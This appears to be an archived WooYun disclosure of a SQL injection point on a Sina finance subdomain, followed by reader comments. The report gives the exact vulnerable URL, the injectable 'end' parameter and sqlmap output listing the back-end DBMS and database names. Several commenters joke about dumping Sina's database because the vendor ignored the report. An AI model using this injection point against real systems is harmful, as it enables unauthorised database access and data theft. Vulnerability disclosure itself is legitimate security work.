新浪分站SQL又一注入点

admin

144121
文章

118
评论

2015年6月11日14:34:33评论277 views字数 215阅读0分43秒阅读模式

摘要

2014-09-09：细节已通知厂商并且等待厂商处理中
2014-09-09：厂商已查看当前漏洞内容,细节仅向厂商公开
2014-09-14：厂商已经主动忽略漏洞，细节向公众公开

漏洞概要关注数(20) 关注此漏洞

缺陷编号： WooYun-2014-75564

漏洞标题：新浪分站SQL又一注入点

漏洞作者： greg.wu

提交时间： 2014-09-09 15:24

公开时间： 2014-09-14 15:26

漏洞类型： SQL注射漏洞

危害等级：中

自评Rank： 10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： php+字符类型注射

0人收藏

漏洞详情

披露状态：

简要描述：

来来来，新浪注入再来一发，期待新浪再来个1rank，去你妹的从其他渠道获知，自己搞了src就不想在乌云好好混了么，很多厂商都没搞清楚，乌云的白帽子是在义务给你做安全测试，正视白帽的劳动成果是最基本的，别本末倒置了，搞得自己是甲方一样

详细说明：

http://stock.finance.sina.com.cn/manager/api/jsonp.json/var%20p100025=/FundManagerService.getMoneyHistoryNav?symbol=100025&begin=20130825&end=20140909&_=9

参数end，字符型，单引号覆盖

漏洞证明：

web application technology: Apache

back-end DBMS: MySQL 5.0.11

[14:49:29] [INFO] fetching current user

[14:49:29] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[14:49:29] [INFO] retrieved: %

current user: '%'

available databases [3]:

[*] fcdb

[*] information_schema

[*] test

修复方案：

版权声明：转载请注明来源 greg.wu@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-09-14 15:26

厂商回复：

漏洞Rank：10 (WooYun评价)

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2014-09-09 15:38 | 进击的zjx ( 普通白帽子 | Rank:1712 漏洞数:224 )

1

怒顶！对于这种不尊重白帽子劳动成果的一概裤子先脱了再说

1# 回复此人
2014-09-09 16:07 | 风情万种 ( 普通白帽子 | Rank:195 漏洞数:66 | 不再相信爱了)

0

怒顶！对于这种不尊重白帽子劳动成果的一概裤子先脱了再说

2# 回复此人
2014-09-09 16:19 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

0

第一眼还以为是一哥提交的。。

3# 回复此人
2014-09-09 16:23 | 孤独雪狼 ( 普通白帽子 | Rank:761 漏洞数:159 | 七夕手机被偷，这坑爹的七夕啊。。。。)

1

怒顶！对于这种不尊重白帽子劳动成果的一概裤子先脱了再说

4# 回复此人
2014-09-09 16:23 | 番茄炒蛋 ( 普通白帽子 | Rank:187 漏洞数:50 | 这条路还很长，还需要更努力)

0

怒顶！对于这种不尊重白帽子劳动成果的一概裤子先脱了再说太坑了特么的大厂商5rank 小厂商6rank

5# 回复此人
2014-09-09 16:23 | 魇 ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子，但是除了他华...)

0

@px1624 汗..我也是

6# 回复此人
2014-09-09 16:33 | loli ( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)

0

@px1624 一哥提交它敢给1RANK么

7# 回复此人
2014-09-09 17:10 | 红客十年 ( 普通白帽子 | Rank:392 漏洞数:80 | 去年离职富士康，回到家中上蓝翔，蓝翔毕业...)

0

怒顶！对于这种不尊重白帽子劳动成果的一概裤子先脱了再说

8# 回复此人
2014-09-09 18:09 | 小川 ( 核心白帽子 | Rank:1627 漏洞数:241 | 一个致力要将乌云变成搞笑论坛的男人)

2

在我看来，无论是src还是乌云，都要以一个平和的心态看待评分，这只不过是个游戏规则，而我们是游戏角色，没有厂商会故意不尊重白帽子。像一个，二哥，猪猪侠那样，拿出大将之风，才会得到更多的尊重。乌云推动互联网安全，厂商与白帽子们共同进步，SRC也是乌云成果中的一部分。

9# 回复此人
2014-09-09 18:16 | 小胖胖要减肥 ( 普通白帽子 | Rank:686 漏洞数:101 )

0

@小川我擦他们要拖新浪库了，赶紧微信**

10# 回复此人
2014-09-09 19:56 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

0

@小川他们不会去ssrc，哈哈

11# 回复此人
2014-09-09 20:07 | 若情 ( 路人 | Rank:8 漏洞数:1 | ..)

0

......百度云任意查看统计报表 8RNK！感觉很赚啊

12# 回复此人
2014-09-09 20:53 | 乐乐、 ( 普通白帽子 | Rank:878 漏洞数:190 )

0

目测要忽略了。。。

13# 回复此人
2014-09-09 20:53 | 花花酱 ( 实习白帽子 | Rank:53 漏洞数:6 | 花花酱)

0

@小川赞一个

14# 回复此人
2014-09-10 00:34 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

0

其实也许吧，任何公司再开一些src平台似乎也超越不过乌云的提交漏洞积极性，厂商其实最不愿意的就是漏洞被公开，对吧，这位白帽子说话有些伤害厂商自尊，大家和气点，谢谢！有话好好说！

15# 回复此人
2014-09-10 11:09 | 红客十年 ( 普通白帽子 | Rank:392 漏洞数:80 | 去年离职富士康，回到家中上蓝翔，蓝翔毕业...)

0

@U神大哥我们还是回裤带吧

16# 回复此人
2014-09-10 16:16 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:217 )

0

@loli WooYun: 新浪另一分站某SQL注射看这个

17# 回复此人
2014-09-11 16:48 | 路人N ( 路人 | Rank:12 漏洞数:8 )

0

http://digi.163.com/14/0904/11/A5A13NQO001618JV.html

18# 回复此人

漏洞概要 关注数(20) 关注此漏洞